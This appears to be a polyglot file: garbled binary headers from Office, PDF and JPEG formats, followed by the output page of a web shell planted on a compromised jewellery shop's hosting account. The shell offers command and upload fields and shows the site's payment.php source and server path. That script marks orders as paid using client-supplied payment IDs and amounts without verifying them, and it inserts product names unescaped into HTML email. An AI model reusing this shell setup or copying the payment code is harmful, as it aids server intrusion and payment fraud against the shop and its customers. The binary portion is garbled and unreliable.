œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /home/ni05r7l36tus/www/poojajewellersbbsr.com/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ni05r7l36tus/www/poojajewellersbbsr.com/payment.php
<?php
include 'connection/config.php';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['razorpay_payment_id'])) {

    $razorpay_payment_id = $_POST['razorpay_payment_id'] ?? '';
    $allorder_id         = intval($_POST['allorder_id'] ?? 0);
    $customer_id         = intval($_POST['customer_id'] ?? 0);
    $payment_method      = $_POST['payment_method'] ?? 'razorpay';
    $amount              = floatval($_POST['amount'] ?? 0);
    $allorder_json       = $_POST['allorder_json'] ?? '{}';

    try {
        // Insert payment record
        $stmt = $pdo->prepare("
            INSERT INTO payments 
            (customer_id, allorder_id, payment_method, payment_status, amount, transaction_id) 
            VALUES 
            (:customer_id, :allorder_id, :payment_method, :payment_status, :amount, :transaction_id)
        ");
        $stmt->execute([
            ':customer_id'    => $customer_id,
            ':allorder_id'    => $allorder_id,
            ':payment_method' => $payment_method,
            ':payment_status' => 'completed',
            ':amount'         => $amount,
            ':transaction_id' => $razorpay_payment_id
        ]);

        // Update order status
        $pdo->prepare("UPDATE allorders SET order_status = 'paid' WHERE allorder_id = :oid")
            ->execute([':oid' => $allorder_id]);

        // Fetch customer info
        $stmt = $pdo->prepare("SELECT first_name, email FROM customers WHERE customer_id = :cid");
        $stmt->execute([':cid' => $customer_id]);
        $customer = $stmt->fetch();
        if (!$customer) throw new Exception("Customer not found.");

        $first_name = htmlspecialchars($customer['first_name']);
        $email      = htmlspecialchars($customer['email']);

        // Decode order JSON
        $order_data = json_decode($allorder_json, true);

        // ========================
        // Prepare Sales Items HTML
        // ========================
        $sales_items_html = '';
        $sales_subtotal = 0;
        if (!empty($order_data['sales_order']['items'])) {
            foreach ($order_data['sales_order']['items'] as $item) {
                // Fetch product details
                $stmt = $pdo->prepare("SELECT product_name, thumbnail_image FROM products WHERE product_id = :pid");
                $stmt->execute([':pid' => $item['product_id']]);
                $prod = $stmt->fetch();

                $pname = $prod['product_name'] ?? $item['name'];
                $pthumb = $prod['thumbnail_image'] ?? '';

                $qty = intval($item['quantity']);
                $price = floatval($item['price']);
                $subtotal = $qty * $price;
                $sales_subtotal += $subtotal;

                $sales_items_html .= "<tr>
                    <td style='border:1px solid #ddd;padding:5px;'><img src='{$pthumb}' alt='{$pname}' width='50'> {$pname}</td>
                    <td style='border:1px solid #ddd;padding:5px;text-align:center;'>{$qty}</td>
                    <td style='border:1px solid #ddd;padding:5px;text-align:right;'>₹{$price}</td>
                    <td style='border:1px solid #ddd;padding:5px;text-align:right;'>₹{$subtotal}</td>
                </tr>";
            }
        }

        // ========================
        // Prepare Rental Items HTML
        // ========================
        $rental_items_html = '';
        $rental_total = 0;
        $deposit_total = 0;
        if (!empty($order_data['rental_orders'])) {
            foreach ($order_data['rental_orders'] as $item) {
                $stmt = $pdo->prepare("SELECT product_name, thumbnail_image FROM products WHERE product_id = :pid");
                $stmt->execute([':pid' => $item['product_id']]);
                $prod = $stmt->fetch();

                $pname = $prod['product_name'] ?? $item['name'];
                $pthumb = $prod['thumbnail_image'] ?? '';

                $days = intval($item['days']);
                $price = floatval($item['price']);
                $deposit = floatval($item['deposit']);
                $total_rent = $days * $price;

                $rental_total += $total_rent;
                $deposit_total += $deposit;

                $rental_items_html .= "<tr>
                    <td style='border:1px solid #ddd;padding:5px;'><img src='{$pthumb}' alt='{$pname}' width='50'> {$pname}</td>
                    <td style='border:1px solid #ddd;padding:5px;text-align:center;'>{$days}</td>
                    <td style='border:1px solid #ddd;padding:5px;text-align:right;'>₹{$price}</td>
                    <td style='border:1px solid #ddd;padding:5px;text-align:right;'>₹{$total_rent}</td>
                    <td style='border:1px solid #ddd;padding:5px;text-align:right;'>₹{$deposit}</td>
                </tr>";
            }
        }

        // ========================
        // Totals Calculation
        // ========================
        $shipping_charge = floatval($order_data['totals']['shipping_charge'] ?? 0);
        $tax_percent     = floatval($order_data['totals']['tax_percent'] ?? 0);
        $tax_amount      = (($sales_subtotal + $rental_total + $shipping_charge) * $tax_percent) / 100;
        $final_amount    = $sales_subtotal + $rental_total + $shipping_charge + $tax_amount + $deposit_total;

        // ========================
        // Email HTML
        // ========================
        $subject = "Order Confirmation - Pooja Jewellers (#{$allorder_id})";
        $message = "
        <html>
        <head>
            <title>Order Confirmation</title>
            <style>
                body { font-family: Arial, sans-serif; background:#f9f9f9; padding:20px; }
                .container { background:#fff; padding:25px; border-radius:10px; max-width:700px; margin:auto; box-shadow:0 0 15px rgba(0,0,0,0.1); }
                .header { text-align:center; padding-bottom:15px; }
                .header h1 { color:#9c1137; }
                table { width:100%; border-collapse:collapse; margin-top:15px; }
                th, td { border:1px solid #ddd; padding:8px; }
                th { background:#9c1137; color:#fff; }
                .footer { margin-top:25px; font-size:12px; color:#777; text-align:center; }
            </style>
        </head>
        <body>
            <div class='container'>
                <div class='header'>
                    <h1>Pooja Jewellers</h1>
                    <p>Hi {$first_name}, your order has been successfully placed!</p>
                    <p><b>Order ID:</b> #{$allorder_id}</p>
                    <p><b>Payment Method:</b> {$payment_method}</p>
                </div>

                <h3>Purchased Items</h3>
                <table>
                    <tr><th>Product</th><th>Qty</th><th>Price</th><th>Subtotal</th></tr>
                    {$sales_items_html}
                </table>

                <h3>Rental Items</h3>
                <table>
                    <tr><th>Product</th><th>Days</th><th>Price/Day</th><th>Total Rent</th><th>Deposit</th></tr>
                    {$rental_items_html}
                </table>

                <h3>Order Summary</h3>
                <table>
                    <tr><td>Sales Subtotal</td><td>₹{$sales_subtotal}</td></tr>
                    <tr><td>Rental Total</td><td>₹{$rental_total}</td></tr>
                    <tr><td>Deposit Total</td><td>₹{$deposit_total}</td></tr>
                    <tr><td>Shipping Charge</td><td>₹{$shipping_charge}</td></tr>
                    <tr><td>Tax ({$tax_percent}%)</td><td>₹{$tax_amount}</td></tr>
                    <tr><td><b>Final Amount</b></td><td><b>₹{$final_amount}</b></td></tr>
                </table>

                <p>We will notify you once your items are shipped.</p>

                <div class='footer'>
                    <p>© ".date('Y')." Pooja Jewellers. All Rights Reserved.</p>
                </div>
            </div>
        </body>
        </html>
        ";

        $headers  = "MIME-Version: 1.0\r\n";
        $headers .= "Content-type:text/html;charset=UTF-8\r\n";
        $headers .= "From: Pooja Jewellers <office@drafticode.com>\r\n";
        $headers .= "Reply-To: support@poojajewellersbbsr.com\r\n";

        mail($email, $subject, $message, $headers);

        // Redirect to dashboard
        header("Location: dashboard.php?status=success&order_id=".$allorder_id);
        exit();

    } catch (Exception $e) {
        echo "Error: " . htmlspecialchars($e->getMessage());
    }

} else {
    echo "<h2>Payment Failed or Cancelled</h2>";
}
?>


........